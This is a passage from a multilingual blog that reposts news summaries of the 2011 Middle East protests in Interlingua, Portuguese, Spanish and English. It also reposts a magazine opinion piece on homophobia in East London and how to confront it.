a dictatorship. \"If you struggle with violence, you are struggling with your enemy's best weapon,\" he says. \"You will be a courageous, but dead, hero.\"\nWith an eye on events in the Middle East, Sharp says he is touched by the attitude of Egyptian protesters, especially their courage in the face of dictatorship. \"This is a teaching of Gandhi. If people do not fear the dictators, the dictators then have big trouble ahead of them.\"\nYou can find more information about the work of Gene Sharp if you go to this site:\nhttp:\/\/www.aeinstein.org\/organizations98ce.html\nPosted by hkyson at 4:16 PM\n(Languages of this post: Interlingua, Portuguese, English)\nLybia:\nProtestos contra le regime de Muammar Gadhafi lassava un numero non confirmate de mortos e feritos desde le die 16 de februario. Le gruppo de defensa de derectos human Human Rights Watch affirmava que 233 personas moriva in le pais desde le initio del protestos, ma le governamento affirma que le reportos es \"exaggerate\".\nBenghazi, le secunde citate le plus grande del pais, esseva le principal foco de revoltas violente. Testes affirmava que fortias de securitate usava mitraliatrices e artilleria pesante contra le turbas.\nLe protestos se expandeva al capital, Tripoli, le die 20 de februario. Le filio de Gaddafi, Saif al Islam, preveniva in un discurso de television del risco de un guerra civil in le pais.\nLe governamento bloccava le internet e prohibeva le presentia del media estranie, lo que face difficile arrivar a un idea exacte del extension de disturbios in le pais.\nProtestos es prohibite in Libya, ma le revolta esseva detonate per le detention de un advocato cognoscite pro esser un critico aperte del governamento.\nLe regime de Gaddafi es le dictatura le plus vetule e le plus autocratic in le Oriente Medie.\nBahrain:\nLe monarchia sunnite que governa le pais faceva un offerta de comenciar dialogos con representantes del majoritate shiite de Bahrein post dies de protesto in le principal placia del capital, Manama.\nPost usar truppas pro disperger manifestantes del Placia Perola le die 17 de februariio--in un operation que lassava quatro mortos al minus--le governamento pare haber se retirate, permittente que le manifestantes reoccupa le placia.\nBarack Obama urgeva calma in Bahrein, que es un pais strategicamente importante pro le Statos Unite.\nLe rege Hamad urgeva su filio le plus vetule, le prince regente Salman, a comenciar un \"dialogo national\" pro poner un fin al revolta.\nRepresentantes senior del principal gruppo shiite del pais, Wefaq, exigeva le demission del governamento. Inter altere demandas se trova le liberation del prisioneros politic e conversationes sur un nove constitution. Manifestantes shiite se plange de problemas economic, le manco de libertate politic, e discrimination in le mercato de travalio in favor del sunnites.\nMorocco:\nLe principal gruppo de opposition de Morocco sta a exiger un fin al autocratia e le inauguration de reformas economic in le pais.\nLe pais confronta diverse problemas economic. Le governamento annunciava un augmento in le subsidios del stato pro essayar a reducer le augmento in le precio del commoditates.\nAl comenciamento del anno, le reputation de Morocco esseva damnificate quando le sito Wikileaks revelava documentos con accusationes de corruption in le familia regal e inter personas proxime al rege Mohammed VI.\nLe rege dice que le lucta contra le povressa in le pais es un prioritate, lo que ganiava pro ille le epithet de \"guardian del povres\". Le liberalisation del economia attraheva investimentos estranie, e le autoritates affirma que illes sta a realisar meliorationes in le conditiones de vita in bidonvilles e areas rural del pais.\nMa organisationes non-governamental dice que pauco ha cambiate, que le povressa e le disoccupation toteva es grande problemas in le pais, que ha essite colpate per exoperos in le sectores public e private.\nMorocco, como Egypto e Algeria, da pauc spatio pro le libertate de expression e usque nunc ha essite capace de contener protestos plus grande. E como Jordania, le pais es un monarchia que ha le appoio de grande sectores del population.\nAlgeria:\nProtestos sporadic ha stato a occurrer in le pais desde le comenciamento de januario, con manifestantes exigente le demission del presidente Abdelaziz Bouteflika.\nGruppos de manifestantes esseva unite in lor movimento contra le governamento, includente syndicatos e partitos politic minor.\nLe causa immediate del protestos pare haber essite principalmente economic--in particular le augmento accentuate in le precio del nutrimentos.\nAl comenciamento de februario, le presidente Bouteflika promitteva suspender le stato de emergentia--in vigor in le pais desde 1992--in un \"futuro proxime\", ma totevia ille non lo ha facite.\nAlgeria es un pais assatis ric a causa de su exportationes de petroleo e gas, e su governamento essaya a responder a problemas economic e social con un grande programma de dispensas public.\nTunisia:\nProtestos continua in Tunisia in despecto del decision del presidente Zine al Abidine Ben Ali de dimitter se in januario.\nIlle fugiva ex le pais post septimanas de manifestationes e luctas inter le manifestantes e le policia.\nLe causa immediate esseva le acto desperate de un juvene disempleate, le die 17 de decembre. Mohammed Bouazizi se immolava quando autoritates de su citate le impediva de vender vegetales in le stratas de Sidi Bouzid sin permission.\nIste acto detonava protestos in omne le partes del pais. Le responsa violente del autoritates--con le policia aperiente foco contra le manifestantes--pare haber exacerbate le ira del population e fomentate nove protestos, que eventualmente fortiava le presidente a dimitter se.\nLe presidente del Parlamento, Foued Mebazaa, deveniva le presidente interim, e exigeva al prime ministro Mohammed Ghannouchi, chef del governamento de 1999, que ille formava un nove coalition national. Le prime ministro anque promitteva abandonar le poter post electiones, que debera esser realisate intra sex menses.\nJordania:\nMilles de jordanianos vadeva al stratas durante le ultime cinque septimanas, exigente melior opportunitates de empleo e reductiones in le precios de nutrimentos e combustibiles.\nIn responsa, le rege Abdullah II demitteva le prime ministro, Samir Rifal, accusante le de promover reformas multo lentemente. Marouf al Bakhit, le ex-general del armea e le ambassator del pais in Israel, esseva appunctate in su loco.\nUn nove consilio de ministros con 26 integrantes esseva organisate le die 10 de februario.\nLe regno hashemite de Jordania es un pais parve, con pauc ressources natural, ma illo joca un rolo crucial in le lucta pro poter in le Oriente Medie.\nLe morte del rege Hussein, qui governava Durante 46 annos, lassava Jordania in conditiones de battalia pro le superviventia economic e social, assi como pro le pace regional.\nSu filio, Abdullah, qui le succedeva in le throno, confronta le problema de mantener le stabilitate e de satisfacer le exigentias pro reforma.\nUn plano pro cambios politic, economic, e social a longe termino--cognoscite como le Agenda National--totevia non esseva implementate.\nEgypto:\nCentenas de milles de personas se reuniva in Cairo le die 18 de februario pro observar un septima del cadita del presidente Hosni Mubarak.\nLe leader de 82 annos se dimitteva le 11 de februario post 18 dies de protestos. Ille habeva essite in le poter desde 1981.\nPro multe tempore, Egypto ha essite un centro de stabilitate in un region volatile, ma illo mascava problemas que se revelava in le demandas de manifestationes popular contra le governamento de 30 annos de Mubarak, que comenciava le die 25 de januario.\nLe causas immediate esseva le provressa, le inflation, le exclusion social, le ira contra le corruption, e le inricchimento del elite politic del pais.\nNunc, sin Mubarak in le joco, le fortias armate del pais assumeva le poter trans un consilio militar que governara pro le proxime sex menses usque electiones es realisate.\nLe gruppo islamiste conservative Fraternitate Musulman ha le possibilitate de reciper un numero considerabile de votos in ulle election libere e juste, ma timores que le conservativos islamic finalmente ganiara le controlo del governamento egyptian es le principal fonte de preoccupation del Occidente e de Israel.\nSyria:\nLe presidente Bashar al-Assad promitteva promover reformas politic post hereditar le poter de su patre, Hafez, in 2000, post tres decadas de un regime autoritari.\nLeges de emergentia esseva in vigor in le pais desde 1963. Post le morte de Hafez al-Assad, Syria suffreva un certe grado de liberalisation. Centenares de prisioneros politic esseva liberate. Non occurreva, nonobstante, cambios como le augmento de libertates politic o reformas in le economia, que es fortemente dominate per le stato.\nIran:\nLe governamento iranian convocava un manifestation pro venerdi, le 18 de februario, pro manifestar le repudiation general del opposition del pais. Ma iste protesto official rapidemente se transformava in un manifestation contra le governamento que lassava duo mortos e diverse feritos.\nLe systema politic complexe e incommun de Iran combina elementos de un theocratia Islamic con le democratia. Un rete de institutiones non subjecte a voto popular e controlate per le altemente poterose Leader Supreme del pais ha como contraparte un presidente e un parlamento elegite per le populo.\nLe presidente Mahmoud Ahmadinejad, elegite in 2005, es un defensor del conservativos extremiste religiose, qui promitteva reprimer ulle protesto contra le regime.\nIlle accusava le manifestantes de voler \"macular le brilliantessa national iranian\".\nArabia Saudite:\nUn del paises le plus insular e religiose del Oriente Medie, le Arabia Saudite esseva un regno povre in le deserto ante le discoperimento de petroleo in su territorio. Un pauco postea, nonobstante, illo deveniva un del nationes le plus ric del region.\nMa su governantes sta a confrontar le problema delicate de responder al presiones pro reforma e, al mesme tempore, combatter le problema crescente del violentia extremiste islamic. Le familia regal saudi sempre ha essayate a preservar le stabilitate in le region e reprimer extremistas islamic. Movimentos de opposition es prohibite in le pais.\nRegionalmente, le pais es importante, con le rege Abullah Bin-Abd-al-Aziz Ali Saud vidite in le mundo arabe como un defensor general del interesses arabe in le region.\nIl esseva a Arabia Saudite que le leader deponite de Tunisia, Zin al Abidine Ben Ali, fugiva in januario.\nYemen:\nPost dies de protestos, le presidente de Yemen, Alil Abdullah Saleh, annunciava le die 2 de februario, que ille non cercarea un altere mandato, post tres decadas in le poter. Ille anque diceva al Parlamento que ille non passarea le poter a su filio.\nMa le protestos continua, con personas vadente al stratas in le citates de Sanaa, Aden, e Taiz.\nManifestantes contra le governamento qui exige reformas politic luctava con gruppos loyal al governamento, e le policia esseva inviate a reprimer manifestationes.\nYemen es le pais le plus povre del mundo arabe, ubi quasi le medietate del population vive con minus que US$2 per die.\n---\nProtestos no Oriente Médio: país por país\nLíbia:\nProtestos contra o regime de Muamar Khadafi deixaram um número não confirmado de mortos e feridos desde o dia 16 de fevereiro. O grupo de defesa de direitos humanos Human Rights Watch afirmou que 233 pessoas morreram no país desde o início dos protestos, mas o governo afirma que os relatos são \"exagerados\".\nBenghazi, segunda maior cidade do país, foi o principal foco de revoltas violentas. Testemunhas afirmaram que forças de segurança usaram metralhadoras e artilharia pesada contra multidões.\nOs protestos se espalharam para a capital, Trípoli, no dia 20 de fevereiro. O filho de Khadafi, Saif al-Islam, advertiu em pronunciamento pela televisão para o risco de uma guerra civil no país.\nO governo bloqueou a internet e proibiu a presença da mídia estrangeira, o que torna difícil chegar a uma idéia exata da extensão de distúrbios no país.\nProtestos são proibidos na Líbia, mas a revolta foi detonada pela prisão de um advogado conhecido por ser um crítico aberto do governo.\nO regime de Kadafi é a ditadura mais antiga e mais autocrática no Oriente Médio.\nBahrein:\nA monarquia sunita que governa o país fez uma oferta para iniciar o diálogo com representantes da maioria xiita do Bahrein, após dias de protestos na principal praça da capital, Manama.\nApós usar tropas para dispersar manifestantes da Praça Pérola no dia 17 de fevereiro--em uma operação que deixou quatro mortos ao menos--o governo parece ter recuado, permitindo que os manifestantes reocupassem a praça.\nBarack Obama pediu calma ao Bahrein, que é um país estrategicamente importante para os Estados Unidos.\nO rei Hamad pediu a seu filho mais velho, o príncipe regente Salman, que dê início a um \"diálogo nacional\" para pôr fim à revolta.\nRepresentantes de alto escalão do principal grupo político xiita do país, Wefaq, pediram a renúncia do governo. Entre outras demandas está a libertação dos presos políticos e conversas sobre uma nova constituição. Manifestantes xiitas reclamam de problemas econômicos, falta de liberdade política e discriminação no mercado de trabalho a favor de sunitas.\nMarrocos:\nO principal grupo de oposição do Marrocos está exigindo um fim à autocracia e à inauguração de reformas económicas no país.\nO país enfrenta vários problemas econômicos. O governo anunciou um aumento nos subsídios do estado para tentar conter o aumento no preço das commodities.\nNo começo do ano, a reputação do Marrocos foi danificada quando o site Wikileaks revelou documentos com acusações de corrupção na família real e entre pessoas próximas ao rei Mohammed 6º.\nO rei diz que a luta contra a pobreza no país é uma prioridade, o que lhe valeu o epíteto de \"guardião dos pobres\". A liberalização da economia atraiu investimentos estrangeiros, e as autoridades afirmam que estão realizando melhorias nas condições de vida em favelas e áreas rurais do país.\nMas organizações não-governamentais dizem que pouco mudou, que a pobreza e o desemprego ainda são grandes problemas no país, que vem sendo atingido por greves nos setores público e privado.\nO Marrocos, como Egito e Argélia, dá pouco espaço para a liberdade de expressão e até agora tem sido capaz de conter protestos maiores. Assim como a Jordânia, o país é uma monarquia que tem apoio de grandes setores da população.\nArgélia:\nProtestos esporádicos vêm acontecendo no país desde o começo de janeiro, com manifestantes pedindo a renúncia do presidente Abdelaziz Bouteflika.\nGrupos de manifestantes se uniram em seu movimento contra o governo, incluindo pequenos sindicatos e partidos políticos menores.\nA causa imediata dos protestos parece ter sido principalmente economic--em particular o aumento acentuado no preço dos alimentos.\nNo começo de fevereiro o presidente Bouteflika prometeu suspender o estado de emergência--em vigor no país desde 1992--em um \"futuro próximo\", mas ainda não o fez.\nA Argélia é um país bastante rico por causa de suas exportações de petróleo e gás, e seu governo tenta responder a problemas econômicos e sociais com um grande programa de gastos públicos.\nTunísia:\nProtestos continuam na Tunísia apesar da decisão do presidente Zine al-Abidine Ben Ali de renunciar em janeiro.\nEle deixou o país após semanas de manifestações e choques entre manifestantes e a polícia.\nA causa imediata foi o ato desesperado de um jovem desempregado, no dia 17 de dezembro. Mohamed Bouazizi ateou fogo ao próprio corpo, quando autoridades de sua cidade impediram-no de vender legumes nas ruas de Sidi Bouzid sem permissão.\nEste ato detonou protestos em todas partes do país. A resposta violenta das autoridades--com a polícia abrindo fogo contra manifestantes--parece ter exacerbado a ira da população e fomentado novos protestos, que eventualmente forçaram o presidente a demitir-se\nO presidente do Parlamento, Foued Mebazaa, se tornou o presidente interino, e pediu ao premiê Mohammed Ghannouchi, chefe do governo desde 1999, para formar uma nova coalizão nacional. O premiê também prometeu abandonar o poder após eleições, que deverão ser realizadas dentro de seis meses.\nJordânia:\nMilhares de jorndanianos saíram às ruas ao longo das últimas cinco semanas, pedindo melhores oportunidades de emprego e a redução nos preços de alimentos e combustível.\nEm resposta, o rei Abdullah 2º demitiu o primeiro-ministro Samir Rifai, acusando-o de promover reformas muito lentamente. Marouf al-Bakhit, ex-general do exército e embaixador do país em Israel, foi nomeado em seu lugar.\nUm novo gabinete com 26 integrantes foi organizado no dia 10 de fevereiro.\nO Reino Hachemita da Jordânia é um país pequeno, com poucos recursos naturais, mas desempenha um papel crucial na luta por poder no Oriente Médio.\nA morte do rei Hussein, que governou por 46 anos, deixou a Jordânia na briga pela sobreviência econômica e social, assim como pela paz regional.\nSeu filho, Abdullah, que o sucedeu no trono, enfrenta o desafio de manter a estabilidade e satisfazer as exigencias por reforma.\nUm plano para mudanças políticas, econômicas e sociais de longo prazo--conhecido como Agenda Nacional--ainda não foi implementado.\nEgito:\nCentenas de milhares de pessoas se reuniram no Cairo no dia 18 de fevereiro para marcar uma semana da queda do presidente Hosni Mubarak.\nO líder de 82 anos renunciou no dia 11 de fevereiro, após 18 dias de protestos. Ele estava no poder desde 1981.\nO Egito há muito vinha sendo um centro de estabilidade em uma região volátil, mas isso mascarava problemas, que vieram à tona nas demandas de manifestações populares contra o governo de 30 anos de Mubarak, que começaram no dia 25 de janeiro.\nAs causas imediatas foram pobreza, inflação, exclusão social, raiva contra a corrupção e o enriquecimento da elite política do país.\nAgora, sem Mubarak no jogo, as forças armadas do país assumiram o poder através de um conselho militar, que governará pelos próximos seis meses, até que eleições sejam realizadas.\nO grupo islamista conservador Irmandade Muçulmana tem a chance de conseguir um número considerável de votos em quaisquer eleições livres e justas, mas temores de que os conservadores islâmicos acabarão por ganhar o controle do governo egípcio são a principal fonte de preocupação do Ocidente e de Israel.\nSíria:\nO presidente Bashar al-Assad prometeu promover reformas políticas após herdar o poder de seu pai, Hafez, em 2000, após três décadas de um regime autoritário.\nLeis de emergência vigoram no país desde 1963. Após a morte de Hafez al-Assad, a Síria sofreu um certo grau de liberalização. Centenas de presos políticos foram libertados. Não ocorreram, entretanto, mudanças como o aumento das liberdades políticas ou reformas na economia, que é fortemente dominada pelo estado.\nIrã:\nO governo iraniano convocou uma manifestação para a sexta-feira 18 de fevereiro para manifestar o repúdio geral à oposição do país. Mas este protesto oficial rapidamente se transformou em uma manifestação antigoverno, que deixou dois mortos e vários feridos.\nO sistema político complexo e incomum do Irã combina elementos de uma teocracia islâmica com democracia. Uma rede de instituições não sujeitas a voto popular e controladas pelo altamente poderoso Líder Supremo do país tem como contrapartida um presidente e um parlamento eleitos pelo povo.\nO presidente Mahmoud Ahmadinejad, eleito em 2005, é um defensor dos conservadores extremistas religiosos, que prometeram reprimir qualquer protesto contra o regime.\nEle acusou os manifestantes de querer \"manchar o brilhantismo nacional iraniano\".\nArábia Saudita:\nUm dos países mais isolados e religiosos do Oriente Médio, a Arábia Saudita era um reino pobre no deserto antes da descoberta de petróleo no seu território. Pouco tempo depois, no entanto, tornou-se uma das nações mais ricas da região.\nMas seus governantes enfrentam o problema delicado de responder a pressões por reforma e, ao mesmo tempo, combater o problema crescente da violência extremista islâmica. A família real saudita sempre tentou preservar a estabilidade na região e reprimir extremistas islâmicos. Movimentos de oposição são proibidos no país.\nRegionalmente, o país é importante, com o rei Abullah Bin-Abd-al-Aziz Al Saud visto no mundo árabe como um defensor geral dos interesses árabes na região.\nFoi para a Arábia Saudita que o líder deposto da Tunísia, Zine al-Abidine Ben Ali, fugiu em janeiro.\nIêmen:\nApós dias de protestos, o presidente do Iêmen, Ali Abdullah Saleh, anunciou, no dia 2 de fevereiro, que não concorreria a outro mandato, após três décadas no poder. Ele também disse ao Parlamento que não passaria o poder a seu filho.\nMas os protestos continuam, com pessoas saindo às ruas nas cidades de Sanaa, Aden e Taiz.\nManifestantes antigoverno pedindo reformas políticas entraram em choque com grupos leais ao governo, e a polícia foi enviada para reprimir manifestações.\nO Iêmen é o país mais pobre do mundo árabe, onde quase a metade da população vive com menos de US$2 por dia.\n---\nProtests in the Middle East: country by country\nLibya:\nProtests against the regime of Moammar Gadhafi left an unconfirmed number of dead and injured since Feb. 16. The human-rights advocacy group Human Rights Watch said 233 people have died in the country since the protests began, but the government says that reports are \"exaggerated.\"\nBenghazi, the second largest city, was the main focus of violent revolts. Witnesses said security forces used machine guns and heavy artillery on the crowds.\nThe protests spread to the capital, Tripoli, on February 20. Gaddafi's son, Saif al-Islam, warned in a televised speech about the risk of a civil war in the country.\nThe government blocked the internet and prohibited the presence of foreign media, making it difficult to arrive at an exact idea of the extent of the revolts in the country.\nProtests are banned in Libya, but the uprising was sparked by the arrest of a lawyer known for being an outspoken critic of government.\nGaddafi's regime is the oldest and most autocratic dictatorship in the Middle East.\nBahrain:\nThe Sunni monarchy that rules the country made an offer to start dialogues with representatives of the Shiite majority in Bahrain after days of protests in the main square of the capital, Manama.\nAfter using troops to disperse protesters in the Pearl Plaza on February 17--in an operation that left at least four dead--the government seems to have retreated, allowing the protesters to reoccupy the plaza.\nBarack Obama urged calm in Bahrain, which is a strategically important country for the United States.\nKing Hamad urged his oldest son, the crown prince Salman, to begin a \"national dialogue\" to end the revolt.\nSenior representatives of the main Shiite political group in the country, Wefaq, asked for the government's resignation. Among other demands is the release of political prisoners and talks on a new constitution. Shiite demonstrators complain of economic problems, the lack of political freedom, and discrimination in the labor market in favor of Sunnis.\nMorocco:\nThe main opposition group in Morocco is demanding an end to autocracy and the inauguration of economic reforms in the country.\nThe country is facing several economic problems. The government has announced an increase in state subsidies to try to stem the rise in commodity prices.\nEarlier this year, the reputation of Morocco was damaged when Wikileaks published documents with accusations of corruption within the royal family and among people close to King Mohammed VI.\nThe king says the fight against poverty in the country is a priority, which earned him the epithet of \"guardian of the poor.\" The liberalization of the economy has attracted foreign investment, and authorities say they are making improvements in living conditions in slums and rural areas of the country.\nBut non-government organizations say little has changed, that poverty and unemployment are still big problems in the country, which has been hit by strikes in the public and private sectors.\nMorocco, like Egypt and Algeria, has little room for freedom of expression and so far has been able to contain large protests. Like Jordan, the country is a monarchy that has the support of large sectors of the population.\nAlgeria:\nSporadic protests have been taking place in the country since early January, with protesters demanding the resignation of President Abdelaziz Bouteflika.\nGroups of protesters were united in their movement against the government, including small labor unions, and minor political parties.\nThe immediate cause of the protests appears to have been economic for the most part--in particular the sharp rise in food prices.\nIn early February President Bouteflika promised to suspend the state of emergency--in force since 1992--in the \"near future\" but he did not do so.\nAlgeria is a rather wealthy country because of its exports of oil and gas, and its government is trying to respond to economic and social problems with a large public-expenditure program.\nTunisia:\nProtests continue in Tunisia despite the decision of President Zine al-Abidine Ben Ali to resign in January.\nHe fled the country after weeks of demonstrations and clashes between protesters and police.\nThe immediate cause was the desperate act of a young unemployed man on December 17. Bouazizi Muhammad set fire to his own body, when city authorities kept him from selling vegetables on the streets of Sidi Bouzid without permission.\nThis act sparked protests everywhere in the country. The violent response by the authorities--with the police opening fire on protesters--seems to have exacerbated public anger and encouraged further protests, which eventually forced the president to resign.\nThe speaker of Parliament, Foued Mebazaa, became the interim president and asked prime minister Mohamed Ghannouchi, the head of government since 1999, to form a new national coalition. The premier also promised to relinquish power after elections, which must be held within six months.\nJordan:\nThousands of Jordanians took to the streets over the past five weeks, seeking better job opportunities and a reduction in food and fuel prices.\nIn response, King Abdullah the 2nd fired Prime Minister Samir Rifai, accusing him of promoting reforms too slowly. Marouf al-Bakhit, a former army general and the country's ambassador to Israel, was appointed in his place.\nA new cabinet with 26 members was organized on February 10.\nThe Hashemite Kingdom of Jordan is a small country with few natural resources, but it also plays a crucial role in the struggle for power in the Middle East.\nThe death of King Hussein, who ruled for forty-six years, left Jordan in the battle for economic and social survival, as well as for regional peace.\nHis son, Abdullah, who succeeded him to the throne, faces the challenge of maintaining stability and satisfying the demands for reform.\nA plan for long-term political, economic, and social changes--known as the National Agenda--has still not been implemented.\nEgypt:\nHundreds of thousands of people gathered in Cairo on February 18 to observe the first week of the fall of President Hosni Mubarak.\nThe eighty-two-year-old leader resigned on February 11 after 18 days of protests. He had been in power since 1981.\nEgypt has long been a center of stability in a volatile region, but this apparent social peace masked problems that surfaced in the demands of popular demonstrations against Mubarak's thirty-year-old government, which began on January 25.\nThe immediate causes were poverty, inflation, social discrimination, anger against corruption, and the enrichment of the country's political elite.\nNow, without Mubarak in the game, the country's armed forces took power through a military council, which will rule for the next six months until elections are held.\nThe conservative Islamist group the Muslim Brotherhood has a chance of getting a considerable number of votes in any free and fair election, but fears that that Islamic conservatives will eventually win control of the Egyptian government are the main source of concern in the West and Israel.\nSyria:\nPresident Bashar al-Assad promised political reforms after inheriting power from his father, Hafez, in 2000 after three decades of authoritarian rule.\nEmergency laws have been in force in the country since 1963. After the death of Hafez al-Assad, Syria underwent a degree of liberalization. Hundreds of political prisoners were freed. There were, however, no further changes, such as increased political freedoms or reforms in the economy, which is heavily dominated by the state.\nIran:\nThe Iranian government has called a rally for Friday, February 18, as an expression of general rejection of opposition to the country's government. But this official protest quickly turned into an antigovernment rally that left two dead and several injured.\nIran's complex and unusual political system combines elements of an Islamic theocracy with democracy. A network of institutions not subject to popular vote and controlled by the highly powerful Supreme Leader of the country has its counterpart in a president and a parliament elected by the people.\nPresident Mahmoud Ahmadinejad, elected in 2005, is a supporter of the extreme religious conservatives, who promised to suppress any protest against the regime.\nHe accused protesters of trying to \"tarnish national Iranian brilliance.\"\nSaudi Arabia:\nOne of the most insular and religious countries of the Middle East, Saudi Arabia was a poor desert kingdom before the discovery of oil on its territory. Not long afterward, however, it became one of the richest nations in the region.\nBut its rulers face the delicate problem of responding to pressures for reform and, at the same time, of combatting the growing problem of extremist Islamic violence. The Saudi royal family has always tried to preserve stability in the region and repress Islamic extremists. Opposition movements are prohibited in the country.\nRegionally, the country is important, with King Abullah Bin-Abd-al-Aziz Al Saud seen in the Arab world as a defender of general Arab interests in the region.\nIt was to Saudi Arabia that the deposed leader of Tunisia, Zine al-Abidine Ben Ali, fled in January.\nYemen:\nAfter days of protests, the Yemeni President, Ali Abdullah Saleh, announced on February 2, that he would not run for another term in the presidency, after three decades in power. He also told Parliament that he would not pass power on to his son.\nBut the protests are continuing, with people taking to the streets in the cities of Sana'a, Aden and Taiz.\nAntigovernment protesters calling for political reforms clashed with groups loyal to the government, and police were sent to quell demonstrations.\nYemen is the poorest country in the Arab world, where almost half the population lives on less than two dollars a day.\nPosted by hkyson at 1:16 PM\n(Languages of this post: Interlingua, Spanish, English)\nReportos de Lybia dice que le oppositores de Muammar Qadhafi repulsava un contra-attacco del fortias governamental presso le citate litoral de Misrata, a 200 kilometros al este de Tripoli.\nTestes diceva que le combattos se ha disveloppate circum le citate e in su aeroporto.\nSecundo le reportos, Misrata totevia se trova sub le controlo del fortias opponite al governamento de Qadhafi.\n---\nLibia: oposición a Gadafi repele ataque.\nInformes provenientes de Libia dicen que los opositores a Muamar Gadafi rechazaron un contraataque de las fuerzas gubernamentales cerca de la ciudad costera de Misrata, a 200 kilómetros al este de Trípoli.\nTestigos dijeron que los combates se han desarrollado en los alrededores de la ciudad y en su aeropuerto.\nSegún los informes, Misrata todavía está bajo el control de la fuerzas opuestas al gobierno de Gadafi.\n---\nLibya: Qadhafi opposition repels attack.\nReports from Libya say that the Muammar Qadhafi's opponents repelled a counterattack by government forces near the coastal town of Misrata, 200 kilometers east of Tripoli.\nWitnesses said that fighting has developed around the city and in its airport.\nAccording to reports, Misrata is still under the control of forces opposed to the Qadhafi government.\nPosted by hkyson at 4:16 AM\nSunday, February 27, 2011\nLast autumn, mysterious posters began to appear all over the East End of London announcing it is now a \"Gay-Free Zone.\" They warned: \"And Fear Allah: Verily Allah is Severe in Punishment.\" One of them was plastered outside the apartment block I lived in for nearly ten years, next to adverts for club nights and classes at the local library, as if it was natural and normal. I'd like to say I'm shocked – but anybody who lives in Tower Hamlets knows this has been a long time coming.\nHere's a few portents from the East End that we have chosen to ignore. In May 2008, a 15 year old Muslim girl tells her teacher she thinks she might be gay, and the Muslim teacher in a state-funded comprehensive tells her \"there are no gays round here\" and she will \"burn in hell\" if she ever acts on it. (I know because she emailed me, suicidal and begging for help).\nIn September 2008, a young gay man called Oliver Hemsley, is walking home from the gay pub the George and Dragon when a gang of young Muslims stabs him eight times, in the back, in the lungs, and in his spinal column. In January 2010, when the thug who did it is convicted, a gang of thirty Muslims storms the George and Dragon in revenge and violently attacks everybody there. All through, it was normal to see young men handing out leaflets outside the Whitechapel Ideas Store saying gays are \"evil.\" Most people accept them politely.\nThese are not isolated incidents. East London has seen the highest increase in homophobic attacks anywhere in Britain. Everybody knows why, and nobody wants to say it. It is because East London has the highest Muslim population in Britain, and we have allowed a fanatically intolerant attitude towards gay people to incubate there, in the name of \"tolerance\".\nThe most detailed opinion survey of British Muslims was carried out by Gallup, who correctly predicted the result of the last general election. In their extensive polling, they found literally no British Muslims who would say homosexuality is \"morally acceptable.\" Every one of the Muslims they polled objected to it. Even more worryingly, younger Muslims had more stridently anti-gay views than older Muslims. These attitudes have consequences--and they are worst of all for gay Muslims, who have to live a sham half-life of lies, or be shunned by their families.\nNo, Muslims are not the only homophobes among us. But the gap between them and the rest is startling. It's zero percent of British Muslims vs. 58 percent of other Brits who say we are \"acceptable.\"\nWhy does nobody want to talk about this? No, it's not because Muslims have \"taken over\" Europe, as ludicrous hysterics like Mark Steyn claim. I debunk that nonsense here: Muslims are 3 percent of the population of Europe.\nSo why the silence? It is true that British Muslims are themselves frequently the victims of bigotry. They are often harassed by the police, denied jobs, and abused in the street, and they are forced to watch as our government senselessly incinerates many Muslims abroad. (I have written many articles detailing and deploring these ugly facts.) So gay people are naturally reluctant to pile in onto minorities who are being oppressed. We are rightly sympathetic. We know what it is like to be treated like this. We instinctively respond with solidarity, not suspicion.\nBut this can easily morph into excuse-making. When there was a wave of vicious gay-bashings in Amsterdam by Morroccan immigrants--ending the city's easy, hand-holding culture--the gay spokesman for Human Rights Watch, Scott Long, said: \"There's still an extraordinary degree of racism in Dutch society. Gays often becomes victims of this when immigrants retaliate for the inequities they have had to suffer.\"\nWhat? How is it a \"retaliation\" to beat up a gay couple? What have they done to Muslims? What other human rights abuse would Human Rights Watch make excuses for? Would they say the Burmese junta beats dissidents in order to \"retaliate for the inequities they have had to suffer\"?\nWhen gay people were cruelly oppressed in Britain, we didn't form gangs to beat up other minorities. We organized democratically and appealed to our fellow citizens' sense of decency. It's patronizing--and authentically racist--to treat Muslims as if they are children, or animals, who can only react to their oppression by jeering at or attacking people who have done them no harm, and who they object to because of a book written in the sixth century.\nMuslims are human beings who can choose not to do this. The vast majority, of course, do not attack anyone. But they should go further. They should choose instead to see us as equal human beings, who live and love just like them, and do not deserve scorn and prejudice.\nYes, it is \"Muslim culture\" today to be bigoted against gay people. It was British culture to be anti-gay thirty years ago. Cultures change. They change all the time. They are not sacred and fixed. They are constantly in motion. But they only change if we admit there is a problem publicly and openly and search for solutions.\nWe should not \"respect\" the bigotry of Muslims, any more than we would respect the bigotry of Christians or Jews or the Ku Klux Klan. The only consistent and reasonable position is to oppose bigotry against Muslims, and oppose bigotry by Muslims.\nSo how do we do it? There are plenty of practical steps. The most crucial is in the school system. Today, schools in Muslim areas like Tower Hamlets are deeply reluctant to explain that homosexuality is a natural and harmless phenomenon that occurs in every human society: they know that many parents will go crazy. Tough. It should be a legal requirement, tightly policed by Ofsted, and any school that refuses should be shut down.\nEvery one of those schools has gay kids who are terrified and isolated and are at a high risk of self-harm or suicide. We need to get simple facts and practical help to them, over the heads of religiously-inspired bigots. No school should be a \"faith school\", inspired by medieval holy books that demand death for gay people. Every school should be a safe school for gay children, and every school should educate straight children to live alongside them.\nThere are other crucial changes. We should be lauding--and funding--the few Muslim groups that are brave and humane enough to take a stand and defend the equality of gay people. They do exist: British Muslims for Secular Democracy is a heroic example. The same goes, even more crucially, for the gay Muslims who have come out and formed groups like Imaan. Only they can show their fellow Muslims that when they advocate discrimination against gay people, they are advocating discrimination against their own sisters and sons, brothers and daughters.\nAnd we need to make it plain that accepting the existence of gay people--and our right to live peacefully and openly--is a non-negotiable British value. In the Netherlands, they now show all new immigrants images of men kissing, and if they object, they tell them they should go and live somewhere else. We should be doing the same, starting with imams, who are almost entirely imported into British mosques at the moment from countries where homosexuality is a crime punished with death.\nI believe British Muslims can change. I believe they can accept and love their gay children, just as surely as my parents, who also grew up in horribly homophobic places. accepted and loved me. I think of all the good kind Muslims I met in my years living in Tower Hamlets, and I believe that over time they were capable of understanding that my sexuality is natural and innate and hurts nobody.\nBut it won't happen if we pretend we \"respect\" their bigotry, and that it is a legitimate expression of difference. It is not, any more than hating black people was the \"legitimate\" culture of the Deep South, or Apartheid South Africa.\nNo, we will not tolerate the idea that we are \"immoral\" for loving each other. No, we will not tolerate posters declaring East London a \"gay free zone.\" We will see them as a reason, at last and at least, to end this taboo--and demand much better of our fellow citizens.\nThis article appeared in \"Attitude\", Europe's best-selling gay magazine.\nPosted by hkyson at 4:15 PM\n(Languages of this post: Interlingua, 